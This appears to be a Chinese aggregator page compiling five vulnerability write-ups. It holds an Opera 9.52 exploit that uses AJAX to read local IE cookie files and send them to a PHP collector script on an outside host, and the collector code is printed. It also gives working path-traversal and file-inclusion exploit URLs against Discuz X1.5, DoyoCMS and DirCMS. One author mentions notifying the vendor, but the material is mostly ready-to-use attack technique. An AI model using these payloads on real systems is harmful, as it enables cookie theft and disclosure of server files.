opera9.52使用ajax读取本地文件漏洞进一步利用漏洞预警(通用5篇)由网友“豆乳真好喝”投稿提供,这次小编给大家整理过的opera9.52使用ajax读取本地文件漏洞进一步利用漏洞预警,供大家阅读参考,也相信能帮助到您。
篇1:opera9.52使用ajax读取本地文件漏洞进一步利用漏洞预警
by 空虚浪子心 www.inbreak.net
在前文《opera9.52使用ajax读取本地文件漏洞》
中,提到了opera的ajax读取本地文件漏洞,
但是利用方式上,比较狭隘。
很少人会专门下载htm文件到本地,然后打开。
但是动态语言(php,asp等)只要修改header,就可以指定让用户下载。
我们设计如下代码的php文件:
b.php代码
/*
opera 9.52 use ajax read local txt file and upload exp
www.inbreak.net
author kxlzx@xiaotou.org -1-6
*/
header(“Content-Disposition: attachment;filename=kxlzx.htm”);
header(“Content-type: application/kxlzx”);
?>
其他代码和前文一致,但是多出了
header(“Content-Disposition: attachment;filename=kxlzx.htm”);
header(“Content-type: application/kxlzx”);
这段,
第一行定义http头,下载文件的文件名默认为kxlzx.htm。
因为如果你下载了其他类型的文件,windows会默认让其他类型的文件程序打开。
但是定义了htm文件名后,windows就会让opera打开这个文件。
注意,这里已经下载了文件,所以域属于本地域。
第二行定义了mm文件头(呃。。。),随便写了一个不存在的,opera就会自动下载该文件了。
使用opera打开测试地址:
www.inbreak.net/kxlzxtest/testxss/b.php
打开后,效果如图
我想,看到这个框,用户不管是点了打开还是点了保存,最终打开的时候,都是使用opera在本地域下打开的。
比较猥琐的利用方法。
更猥琐的方式,大家可以结合HTTP Response Splitting 攻击,在http头加上以上两段内容,利用范围更广。
篇2:opera 9.52使用ajax读取本地文件漏洞漏洞预警
by 空虚浪子心
这也可能是一个安全特性吧,opera可以使用ajax读取本地文件,
ff3没有这个漏洞。
不废话,看代码吧。
利用方式如下:
这段代码保存为本地htm文件,然后使用opera打开。
将会把本地用户名为administrator在alibaba的cookie,发送到www.inbreak.net/kxlzxtest/testxss/a.php
a.php代码:
<?php $user_IP = ($_SERVER[“HTTP_VIA”]) ? $_SERVER[“HTTP_X_FORWARDED_FOR”] : $_SERVER[“REMOTE_ADDR”]; $user_IP = ($user_IP) ? $user_IP : $_SERVER[“REMOTE_ADDR”]; $fp = fopen($user_IP.date(“Y-m-d H:i:s”).“cookie.txt”,“wb”); fwrite($fp,$_GET[“cookie”]); fclose($fp); ?> a.php会按照 IP+时间+cookie.txt 格式生成一个txt文件,例如:121.0.29.2252009-01-05 11:55:02cookie.txt里面保存着administrator@alibaba[1].txt的内容。
几点说明:
1,cookie文件是IE的,比较XX,但是有很多人都会IE和opera混用。
2,必须预测本地用户名,不过很多人都是administrator。
3,必须预测cookie文件名。这个可以取一些常用网站的,反正ajax是异步,你可以同时调用几个方法。
4,或者你可以发送任何本地TXT文件。
opera可能说这是特性?不知道了,反正FF3没这个漏洞,使用这种方式会报错访问拒绝。
from:www.inbreak.net/?action=show&id=141
篇3:DISCUZX1.5 本地文件包含漏洞漏洞预警
DISCUZX1.5 本地文件包含,当然是有条件的,就是使用文件作为缓存,
config_global.php
$_config['cache']['type'] = 'file';
function cachedata($cachenames) {
......
$isfilecache = getglobal('config/cache/type') == 'file';
......
if($isfilecache) {
$lostcaches = array;
foreach($cachenames as $cachename) {
if(!@include_once(DISCUZ_ROOT.'./data/cache/cache_'.$cachename.'.php')) {
$lostcaches[] = $cachename;
}
}
......
}
地址:
localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc
localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc
Authracation has expiried
执行了 api/uc.php 页面代码了,
作者: Jannock
篇4:DOYOcms 本地文件包含漏洞漏洞预警
这是这套CMS ,这个很简洁,。。
这里的$handle_controller = syClass($__controller, null, $GLOBALS['G_DY'][“controller_path”].'/'.$__controller.“.php”);
接下来往下看
这里的$sdir 没有经过任何过滤来的,然后看下这个import函数
这里直接包含了该文件
require($sfilename);所以结合前面的
$GLOBALS['G_DY'][“controller_path”].'/'.$__controller.“.php”
$__controller是我们可控的变量,也没有经过任何过滤,我们想可以通过%00截断,然后包含我们上传的文件就达到了目的
这也就是鸡肋的地方了,如果要截断,要保证php版本小于5.4(我自己也记不太清了) 因为高版本的修复了该截断的漏洞,
然后这里要保证魔术常量是关闭的。
下图就是成功包含的图
Exp:
localhost/test/index.php?c=../uploads//06/1.gif%00&a=type&tid=1
篇5:DirCMS 任意文件读取0day漏洞预警
感觉时间真的过得真的很快,电脑一开一关一天就没了,不能这样下去,所以我打算抽出点时间来写博客和学习,记录一下自己的成长。
不管是程序员、还是安全工程师,读别人的代码无疑都是进步较快的方式,所以我觉得从今天起抽出时间来把站长网上的开源cms都看一遍,学习学习。
看到一套DirCms就把他下回来了,名字还蛮特别的(ps:小心我dir溢出你)。
貌似黑帽子们审计代码都是查找关键字和跟踪关键位置,自己定义好一个存在风险的函数和变量名列表。我又不是黑阔,所以我喜欢根据程序的架构一个一个文件慢慢看,随便学习下开发者的技巧。
当我看到/api/upload/swfthumbnail.php这个文件的时候,彻底无语了,只有短短的几十行代码。
如下:
// This script. accepts an ID and looks in the user's session for stored thumbnail name.
// It then streams the data to the browser from the file
// Work around the Flash Player Cookie Bug
if(isset($_POST[“PHPSESSID”])){//这个判断不会影响程序向下执行,不用管他
session_id($_POST[“PHPSESSID”]);
}
session_start();
//关键位置,我想说这个正则有啥用? boss可以扣除这个程序员的资金了。
$image_id=isset($_GET[“id”])?preg_replace('/[^a-z0-9:\.\/\\\\-]/i','',$_GET[“id”]):false;
//由于上面的正则问题,所以 $image_id 就算是恶意构造也是为真的
if($image_id===false)
{
header(“HTTP/1.1 500 Internal Server Error”);
echo“No ID”;
exit(0);
}
//只要id的值不以 开头,而且文件存在就可以不进入里面了,
由于是读本地文件,当然不用开头,保证文件的存在可以用相对路径../../
if(substr($image_id,0,7)!=''&&!file_exists(“../../upload/image/”.$image_id))
{
header(“HTTP/1.1 404 Not found”);
exit(0);
}
//上面都通过了,这个当然没问题
if(substr($image_id,0,7)!='')
{
header(“Content-type: image/jpeg”);
header(“Content-length: ”.filesize(“../../upload/image/”.$image_id));
flush();
readfile(“../../upload/image/”.$image_id);//输出文件
}
else
{
header('location:'.$image_id);
}
exit(0);
?>
测试版本为最新版:DirCMS 2011 Sp3
Exp:view-source:/api/upload/swfthumbnail.php?id=../../include/common.inc.php
已通知官方,请勿非法测试,产生后果与本人无关。
★ 脚本本地/远程文件包含/读取及文件名截断漏洞FUZZ工具详解漏洞预警
【opera9.52使用ajax读取本地文件漏洞进一步利用漏洞预警(通用5篇)】相关文章:
安全事件的作文2022-11-09
工业控制系统信息安全专业化服务体系建设研究论文2023-04-17
Windows XP 组策略之安全篇服务器教程2024-04-02
FTP常用软件servu的安全权限处理WEB安全2022-12-10
详谈Windows Server 安全日志2022-04-30
监控系统维护方案2022-04-30
如何让Windows 系统更安全2022-04-30
电力系统仓储网络规划研究论文2023-11-21
隔离网络高级威胁攻击预警的分析报告2023-05-29
管理系统中互联网电视论文2023-09-04